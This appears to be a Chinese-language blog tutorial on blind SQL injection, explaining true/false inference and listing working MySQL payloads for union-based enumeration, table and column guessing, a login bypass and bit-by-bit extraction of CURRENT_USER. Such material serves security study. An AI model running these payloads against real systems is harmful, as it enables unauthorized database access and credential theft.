目录
- 基本概述
- 判断
- 测试
- 盲注猜测流程
4.1 猜列名
4.2 猜当前表名
4.3 猜库里其他表名
4.4 列表对应关系
4.5 猜字段内容
4.6 猜账号密码- sql注入高阶即另一种思路
1、基本概述
一般情况下,应用程序会:
- 显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息
- 内建的报错信息帮助开发人员发现和修复问题
但当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注。
从下面blind sql和sql注入代码区别可以看出,在blind slq代码中将myslq_error返回的内建错误给隐去了。


2、判断
既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断:
1' and 1=1--+ //为真,显示结果
1' and 1=2--+ //不为真,执行但不显示结果
3、测试
1' union select 1,2--+
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
1' and 1=0 union select null,table_name from information_schema.tables#
1' and 1=0 union select null,table_name from information_schema.columns where
table_name='users'# //#号与‘-- ’的效果一样


4、盲注猜测流程
4.1 猜列名
1' and user is not null--+ //其中是否存在user表通过burpsuite等工具逐个猜测,观察返回结果,有返回结果,即为猜测成功

4.2 猜当前表名
1' and users.user is not null--+

4.3 猜库里其他表名
1' and (select count(*) from guestbook)>0--+

4.4 列表对应关系
1' and users.user is not null--+

4.5 猜字段内容
1' and user='admin
1' or user like '%a%


4.6 猜账号密码
2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

5.sql注入高阶即另一种思路
ASCII码默认是1个字节8位,用二进制表示共能代表255个字符,而0-128是常用字符,后128个为扩展字符:

使用如下的语句,可以尝试出每个字符通过ASCII码转换后的真正字符
1' and ORD(MID((VERSION()),1,1))&1>0--+
ORD()//ASCII码转换表示,后面加上&128/64/32,找到对应的ASCII值,若其中的尝试中,为0,由于不>0,值为假,通过此判断字符
MID((ColumnName), Start first, Length) //columnname代表一段字符,startfirst代表以第几个为起始字符,length代表起始后到多少位
举例
对于一个以暴露的信息来说,如果除了简单的图片外没有其他的任何显示信息,如使用如下信息时,正确返回一个图片,错误返回另一张图片:
and 1=1-- //返回一个图片或其他形式的结果
and 1=2-- //返回另一个图片或其他形式的结果
通过以上的结果,可以尝试使用上述方法,逐项猜解:
1' and ORD(MID(CURRENT_USER(),1,1))&128>0-- //从128即高位开始直至1即低位逐个尝试,并计算出其值,对应ASCII码,得出字符

1' and ORD(MID(CURRENT_USER(),1,1))&64>0--

下面以此类推,得到第一位的结果为r

下面开始尝试第二位:
1' and ORD(MID(CURRENT_USER(),2,1))&128>0--

利用同样方法,得到第二位的结果为r,以此类推,得到整个用户名
网友评论